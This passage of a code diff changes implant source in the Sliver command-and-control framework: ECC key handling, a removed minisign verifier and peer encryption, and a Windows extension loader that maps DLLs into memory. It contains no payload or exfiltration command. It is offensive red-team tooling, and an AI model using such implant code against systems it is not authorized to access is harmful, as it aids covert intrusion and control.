-		b64Digest := base64.RawStdEncoding.EncodeToString(digest[:])
-		c.replay.Store(b64Digest, true)
-	}
+	digest := sha256.Sum256(ciphertext)
+	b64Digest := base64.RawStdEncoding.EncodeToString(digest[:])
+	c.replay.Store(b64Digest, true)
 	return ciphertext, nil
 }
 
@@ -238,20 +224,3 @@ func RootOnlyVerifyCertificate(caCertPEM string, rawCerts [][]byte, _ [][]*x509.
 
 	return nil
 }
-
-// GzipBuf - Gzip a buffer
-func GzipBuf(data []byte) []byte {
-	var buf bytes.Buffer
-	zip := gzip.NewWriter(&buf)
-	zip.Write(data)
-	zip.Close()
-	return buf.Bytes()
-}
-
-// GunzipBuf - Gunzip a buffer
-func GunzipBuf(data []byte) []byte {
-	zip, _ := gzip.NewReader(bytes.NewBuffer(data))
-	var buf bytes.Buffer
-	buf.ReadFrom(zip)
-	return buf.Bytes()
-}

implant/sliver/cryptography/implant.go

@@ -2,7 +2,7 @@ package cryptography
 
 /*
 	Sliver Implant Framework
-	Copyright (C) 2021  Bishop Fox
+	Copyright (C) 2019  Bishop Fox
 
 	This program is free software: you can redistribute it and/or modify
 	it under the terms of the GNU General Public License as published by
@@ -21,47 +21,36 @@ package cryptography
 import (
 	"crypto/sha256"
 	"encoding/base64"
-	"errors"
-
-	// {{if .Config.Debug}}
-	"log"
-	// {{end}}
 )
 
 var (
 	// ECCPublicKey - The implant's ECC public key
-	ECCPublicKey = "{{.Config.ECCPublicKey}}"
+	eccPublicKey = "{{.Config.ECCPublicKey}}"
 	// eccPrivateKey - The implant's ECC private key
 	eccPrivateKey = "{{.Config.ECCPrivateKey}}"
-	// eccPublicKeySignature - The implant's public key minisigned'd
-	ECCPublicKeySignature = `{{.Config.ECCPublicKeySignature}}`
+	// eccPublicKeySignature - The implant's signed ECC key by the server using Ed25519
+	eccPublicKeySignature = "{{.Config.ECCPublicKeySignature}}"
 	// eccServerPublicKey - Server's ECC public key
 	eccServerPublicKey = "{{.Config.ECCServerPublicKey}}"
-	// minisignServerPublicKey - The server's minisign public key
-	minisignServerPublicKey = `{{.Config.MinisignServerPublicKey}}`
 
 	// TOTP secret value
 	totpSecret = "{{.OTPSecret}}"
-
-	// ErrInvalidPeerKey - Peer to peer key exchange failed
-	ErrInvalidPeerKey = errors.New("invalid peer key")
 )
 
 // {{if .Config.Debug}} - Used for unit tests, remove from normal builds where these values are set at compile-time
-func SetSecrets(newEccPublicKey, newEccPrivateKey, newEccPublicKeySignature, newEccServerPublicKey, newTotpSecret, newMinisignServerPublicKey string) {
-	ECCPublicKey = newEccPublicKey
+func SetSecrets(newEccPublicKey, newEccPrivateKey, newEccPublicKeySignature, newEccServerPublicKey, newTotpSecret string) {
+	eccPublicKey = newEccPublicKey
 	eccPrivateKey = newEccPrivateKey
-	ECCPublicKeySignature = newEccPublicKeySignature
+	eccPublicKeySignature = newEccPublicKeySignature
 	eccServerPublicKey = newEccServerPublicKey
 	totpSecret = newTotpSecret
-	minisignServerPublicKey = newMinisignServerPublicKey
 }
 
 // {{end}}
 
 // GetECCKeyPair - Get the implant's key pair
 func GetECCKeyPair() *ECCKeyPair {
-	publicRaw, err := base64.RawStdEncoding.DecodeString(ECCPublicKey)
+	publicRaw, err := base64.RawStdEncoding.DecodeString(eccPublicKey)
 	if err != nil {
 		panic("no public key")
 	}
@@ -79,37 +68,8 @@ func GetECCKeyPair() *ECCKeyPair {
 	}
 }
 
-// MinisignVerify - Verify a minisign signature
-func MinisignVerify(message []byte, signature string) bool {
-	serverPublicKey, err := DecodeMinisignPublicKey(minisignServerPublicKey)
-	if err != nil {
-		// {{if .Config.Debug}}
-		log.Printf("failed to decode minisign public key: %s", err)
-		// {{end}}
-		return false
-	}
-	sig, err := DecodeMinisignSignature(signature)
-	if err != nil {
-		// {{if .Config.Debug}}
-		log.Printf("failed to decode minisign signature: %s", err)
-		// {{end}}
-		return false
-	}
-	valid, err := serverPublicKey.Verify(message, sig)
-	if err != nil {
-		// {{if .Config.Debug}}
-		log.Printf("minisign signature validation error: %s", err)
-		// {{end}}
-		return false
-	}
-	// {{if .Config.Debug}}
-	log.Printf("minisign signature validation: %v", valid)
-	// {{end}}
-	return valid
-}
-
-// GetServerECCPublicKey - Get the decoded server public key
-func GetServerECCPublicKey() *[32]byte {
+// GetServerPublicKey - Get the decoded server public key
+func GetServerPublicKey() *[32]byte {
 	publicRaw, err := base64.RawStdEncoding.DecodeString(eccServerPublicKey)
 	if err != nil {
 		return nil
@@ -121,7 +81,7 @@ func GetServerECCPublicKey() *[32]byte {
 
 // ECCEncryptToServer - Encrypt using the server's public key
 func ECCEncryptToServer(plaintext []byte) ([]byte, error) {
-	recipientPublicKey := GetServerECCPublicKey()
+	recipientPublicKey := GetServerPublicKey()
 	if recipientPublicKey == nil {
 		panic("no server public key")
 	}
@@ -136,35 +96,3 @@ func ECCEncryptToServer(plaintext []byte) ([]byte, error) {
 	copy(msg[32:], ciphertext)
 	return msg, nil
 }
-
-// ECCEncryptToPeer - Encrypt using the server's public key
-func ECCEncryptToPeer(recipientPublicKey []byte, recipientPublicKeySig string, plaintext []byte) ([]byte, error) {
-	valid := MinisignVerify(recipientPublicKey, recipientPublicKeySig)
-	if !valid {
-		return nil, ErrInvalidPeerKey
-	}
-	var peerPublicKey [32]byte
-	copy(peerPublicKey[:], recipientPublicKey)
-	keyPair := GetECCKeyPair()
-	ciphertext, err := ECCEncrypt(&peerPublicKey, keyPair.Private, plaintext)
-	if err != nil {
-		return nil, err
-	}
-	return ciphertext, nil
-}
-
-// ECCEncryptToPeer - Encrypt using the server's public key
-func ECCDecryptFromPeer(senderPublicKey []byte, senderPublicKeySig string, ciphertext []byte) ([]byte, error) {
-	valid := MinisignVerify(senderPublicKey, senderPublicKeySig)
-	if !valid {
-		return nil, ErrInvalidPeerKey
-	}
-	var peerPublicKey [32]byte
-	copy(peerPublicKey[:], senderPublicKey)
-	keyPair := GetECCKeyPair()
-	plaintext, err := ECCDecrypt(&peerPublicKey, keyPair.Private, ciphertext)
-	if err != nil {
-		return nil, err
-	}
-	return plaintext, nil
-}

implant/sliver/cryptography/minisign.go

@@ -1,135 +0,0 @@
-package cryptography
-
-/*
-	MIT License
-
-	Copyright (c) 2018-2021 Frank Denis
-
-	Permission is hereby granted, free of charge, to any person obtaining a copy
-	of this software and associated documentation files (the "Software"), to deal
-	in the Software without restriction, including without limitation the rights
-	to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
-	copies of the Software, and to permit persons to whom the Software is
-	furnished to do so, subject to the following conditions:
-
-	The above copyright notice and this permission notice shall be included in all
-	copies or substantial portions of the Software.
-
-	THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
-	IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
-	FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
-	AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
-	LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
-	OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
-	SOFTWARE.
-*/
-
-import (
-	"encoding/base64"
-	"errors"
-	"strings"
-
-	"golang.org/x/crypto/blake2b"
-	"golang.org/x/crypto/ed25519"
-)
-
-// PublicKey - Represents a public key
-type PublicKey struct {
-	SignatureAlgorithm [2]byte
-	KeyId              [8]byte
-	PublicKey          [32]byte
-}
-
-// Signature - Represents a minisign signature
-type Signature struct {
-	UntrustedComment   string
-	SignatureAlgorithm [2]byte
-	KeyId              [8]byte
-	Signature          [64]byte
-	TrustedComment     string
-	GlobalSignature    [64]byte
-}
-
-// minisignPublicKey - Creates a new public key
-func minisignPublicKey(publicKeyStr string) (PublicKey, error) {
-	var publicKey PublicKey
-	bin, err := base64.StdEncoding.DecodeString(publicKeyStr)
-	if err != nil || len(bin) != 42 {
-		return publicKey, errors.New("invalid encoded public key")
-	}
-	copy(publicKey.SignatureAlgorithm[:], bin[0:2])
-	copy(publicKey.KeyId[:], bin[2:10])
-	copy(publicKey.PublicKey[:], bin[10:42])
-	return publicKey, nil
-}
-
-func DecodeMinisignPublicKey(in string) (PublicKey, error) {
-	var publicKey PublicKey
-	lines := strings.SplitN(in, "\n", 2)
-	if len(lines) < 2 {
-		return publicKey, errors.New("incomplete encoded public key")
-	}
-	return minisignPublicKey(lines[1])
-}
-
-func trimCarriageReturn(input string) string {
-	return strings.TrimRight(input, "\r")
-}
-
-// DecodeMinisignSignature - Decodes a signature
-func DecodeMinisignSignature(in string) (Signature, error) {
-	var signature Signature
-	lines := strings.SplitN(in, "\n", 4)
-	if len(lines) < 4 {
-		return signature, errors.New("incomplete encoded signature")
-	}
-	signature.UntrustedComment = trimCarriageReturn(lines[0])
-	bin1, err := base64.StdEncoding.DecodeString(lines[1])
-	if err != nil || len(bin1) != 74 {
-		return signature, errors.New("invalid encoded signature")
-	}
-	signature.TrustedComment = trimCarriageReturn(lines[2])
-	bin2, err := base64.StdEncoding.DecodeString(lines[3])
-	if err != nil || len(bin2) != 64 {
-		return signature, errors.New("invalid encoded signature")
-	}
-	copy(signature.SignatureAlgorithm[:], bin1[0:2])
-	copy(signature.KeyId[:], bin1[2:10])
-	copy(signature.Signature[:], bin1[10:74])
-	copy(signature.GlobalSignature[:], bin2)
-	return signature, nil
-}
-
-// Verify - Verifies a signature of a buffer
-func (publicKey *PublicKey) Verify(bin []byte, signature Signature) (bool, error) {
-	if publicKey.SignatureAlgorithm != [2]byte{'E', 'd'} {
-		return false, errors.New("incompatible signature algorithm")
-	}
-	prehashed := false
-	if signature.SignatureAlgorithm[0] == 0x45 && signature.SignatureAlgorithm[1] == 0x64 {
-		prehashed = false
-	} else if signature.SignatureAlgorithm[0] == 0x45 && signature.SignatureAlgorithm[1] == 0x44 {
-		prehashed = true
-	} else {
-		return false, errors.New("unsupported signature algorithm")
-	}
-	if publicKey.KeyId != signature.KeyId {
-		return false, errors.New("incompatible key identifiers")
-	}
-	if !strings.HasPrefix(signature.TrustedComment, "trusted comment: ") {
-		return false, errors.New("unexpected format for the trusted comment")
-	}
-
-	if prehashed {
-		h, _ := blake2b.New512(nil)
-		h.Write(bin)
-		bin = h.Sum(nil)
-	}
-	if !ed25519.Verify(ed25519.PublicKey(publicKey.PublicKey[:]), bin, signature.Signature[:]) {
-		return false, errors.New("invalid signature")
-	}
-	if !ed25519.Verify(ed25519.PublicKey(publicKey.PublicKey[:]), append(signature.Signature[:], []byte(signature.TrustedComment)[17:]...), signature.GlobalSignature[:]) {
-		return false, errors.New("invalid global signature")
-	}
-	return true, nil
-}

implant/sliver/extension/extension.go

@@ -18,13 +18,7 @@ package extension
 	along with this program.  If not, see <https://www.gnu.org/licenses/>.
 */
 
-import (
-	"errors"
-
-	// {{if .Config.Debug}}
-	"log"
-	// {{end}}
-)
+import "errors"
 
 var extensions map[string]Extension
 
@@ -51,11 +45,6 @@ func Run(extID string, funcName string, arguments []byte, callback func([]byte))
 	if ext, found := extensions[extID]; found {
 		return ext.Call(funcName, arguments, callback)
 	}
-	// {{if .Config.Debug}}
-	for id, ext := range extensions {
-		log.Printf("Extension '%s' (%s)", id, ext.GetArch())
-	}
-	//{{end}}
 	return errors.New("{{if .Config.Debug}} extension not found{{end}}")
 }
 

implant/sliver/extension/extension_windows.go

@@ -37,15 +37,15 @@ const (
 )
 
 type WindowsExtension struct {
-	id       string
-	data     []byte
-	module   *memmod.Module
-	arch     string
-	init     string
-	onFinish func([]byte)
+	id          string
+	data        []byte
+	module      *memmod.Module
+	arch        string
+	init        string
+	onFinish    func([]byte)
+	serverStore bool
 }
 
-// NewWindowsExtension - Load a new windows extension
 func NewWindowsExtension(data []byte, id string, arch string, init string) *WindowsExtension {
 	return &WindowsExtension{
 		id:   id,
@@ -55,22 +55,16 @@ func NewWindowsExtension(data []byte, id string, arch string, init string) *Wind
 	}
 }
 
-// GetID - Get the extension ID
 func (w *WindowsExtension) GetID() string {
 	return w.id
 }
 
-// GetArch - Get the extension architecture
 func (w *WindowsExtension) GetArch() string {
 	return w.arch
 }
 
-// Load - Load the extension into memory
 func (w *WindowsExtension) Load() error {
 	var err error
-	if len(w.data) == 0 {
-		return errors.New("{{if .Config.Debug}} extension data is empty {{end}}")
-	}
 	w.module, err = memmod.LoadLibrary(w.data)
 	if err != nil {
 		return err
@@ -89,7 +83,6 @@ func (w *WindowsExtension) Load() error {
 	return nil
 }
 
-// Call - Call an extension export
 func (w *WindowsExtension) Call(export string, arguments []byte, onFinish func([]byte)) error {
 	var (
 		argumentsPtr  uintptr